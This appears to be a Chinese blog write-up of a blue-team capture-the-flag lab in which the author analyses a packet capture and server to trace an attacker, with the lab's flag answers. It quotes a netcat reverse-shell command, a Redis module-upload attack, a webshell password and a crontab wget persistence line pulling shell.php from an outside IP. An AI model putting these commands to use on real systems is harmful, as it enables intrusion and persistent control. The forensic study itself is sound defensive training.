当前位置: 首页 > news >正文

玄机靶场 | 第九章-blueteam 的小心思3

文章目录

    • 一、前言
    • 二、索引
    • 三、题目列表
      • 步骤#1
        • 审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip}
      • 步骤#2
        • 审计流量包,木马文件连接密码是什么? flag{xxx}
      • 步骤#3
        • 审计流量包,攻击者反弹的IP和端口是什么? flag{ip:port}
      • 步骤#4
        • 提交黑客上传恶意文件的 md5 md5sum xxx.so
      • 步骤#5
        • 攻击者在服务器内权限维持请求外部地址和恶意文件的地址 flag{http://xxxxxxxxxx/xx.xxx}

一、前言

题目简述:服务器有对外链接请求的痕迹,现提供一段 waf 上截获的数据包,分析对应的虚拟机环境跟数据包,找到关键字符串并且尝试修复漏洞

账号:root,密码:root123,流量包在/result.pcap

二、索引

三、题目列表

步骤#1

审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip}

先通过wireshark语法筛选出http流量

我们简单分析这个流量包,前面有大量的404状态码,表明黑客正在进行目录扫描。后面黑客发现了evil.php文件,但是不知道参数名是什么,对参数名进行了大量尝试,最后发现参数command可以执行命令

继续分析,可以看到黑客执行命令把shell.php下载到目标机器上

在这里插入图片描述

因此可知攻击者下载恶意木马文件的ip地址为192.168.150.253

flag{192.168.150.253}

步骤#2

审计流量包,木马文件连接密码是什么? flag{xxx}

继续向下分析,可以看到攻击者通过POST数据包与shell.php进行通信

在这里插入图片描述

因此连接密码就是cmd

flag{cmd}

步骤#3

审计流量包,攻击者反弹的IP和端口是什么? flag{ip:port}

也是刚才的流量,我们对其内容进行base64解码

在这里插入图片描述

发现@ini_set("display_errors", "0");@set_time_limit(0);,结合前面的特征,可以推断这是通过蚁剑连接的。继续分析流量,发现有个流量记录了外连命令,通过nc反弹shell获得控制权

因此攻击者反弹的IP和端口是192.168.150.199:4444

flag{192.168.150.199:4444}

步骤#4

提交黑客上传恶意文件的 md5 md5sum xxx.so

题目提示文件后缀是.so,我们直接wireshark语法搜索内容包含.so的流量

tcp and frame contains ".so"

可以看到通过redis主从复制上传了一个module.so动态链接库。前面的RESP协议是Redis 客户端和服务器之间通信使用的协议

那我们修改wireshark语法搜索RESP协议的流量

经过分析,前面上传的module.so文件有问题,加载模块后无法执行命令

后面上传了一个符合条件的module.so文件,成功执行系统命令

在这里插入图片描述

攻击者执行了命令nc -e /bin/bash 192.168.150.199 4444反弹shell,因此可以确定这个就是恶意文件

登录目标靶机,在根目录下计算该文件的 MD5 值即可

md5sum module.so

flag{d41d8cd98f00b204e9800998ecf8427e}

步骤#5

攻击者在服务器内权限维持请求外部地址和恶意文件的地址 flag{http://xxxxxxxxxx/xx.xxx}

攻击者要想在服务器内维持权限,肯定是有后门的。然后题目说请求的外部地址和恶意文件的地址,那说明是会定期向外部发送请求的,我们直接查看计划任务

cat /etc/crontab

成功发现黑客留下的后门,通过wget定期向恶意地址下载webshell到目标机器,频率为每分钟执行一次

flag{http://192.168.150.199:88/shell.php}
http://www.xdnf.cn/news/1384075.html

相关文章:

  • day083-Filebeat数据采集案例与Kibana可视化应用
  • 创建uniApp小程序项目vue3+ts+uniapp
  • Docker 核心技术:Union File System
  • ros2与gazebo harmonic机械臂仿真项目Moveit2YoloObb的优化
  • 有限与无限的游戏 之感
  • Rust 登堂 之 类型转换(三)
  • CnSTD+CnOCR的联合使用
  • 虚拟机逃逸攻防演练技术文章大纲
  • 编写TreeMap自定义排序的插曲
  • InstructGPT:使用人类反馈训练语言模型以遵循指令
  • 文本处理与模型对比:BERT, Prompt, Regex, TF-IDF
  • 在angular20中使用monaco-editor
  • 任天堂NDS中文游戏ROM精选毕业整合包整理分享! +NDS模拟器
  • Maven 编译打包一个比较有趣的问题
  • 机器视觉学习-day08-图像缩放
  • 企业如何管理跨多个系统的主数据?
  • Maven核心用法
  • 3446. 按对角线进行矩阵排序
  • [数组]27.移除元素
  • Kafka02-集群选主
  • 【Node.js从 0 到 1:入门实战与项目驱动】2.4 开发工具推荐(VS Code 、IDEA及插件、终端工具、调试工具)
  • 配置 Gitlab 和 Elasticsearch/Zoekt 并使用 Docker Metadata 数据库、Camo 代理服务
  • AI 如何 “看见” 世界?计算机视觉(CV)的核心技术:图像识别、目标检测与语义分割
  • Day16_【机器学习常见术语】
  • 宋红康 JVM 笔记 Day08|堆
  • MySQL 中 tinyint(1)、int(11)、bigint(20) 的数字到底是什么意思?
  • Vibe Coding 概念提出者 AndrejKarpathy 谈强化学习。
  • 在jdk8的spring-boot-2.7.x项目中集成logback-1.3.x
  • 通过代码认识 CNN:用 PyTorch 实现卷积神经网络识别手写数字
  • Maven 项目单元测试实战指南:从环境搭建到问题排查全解析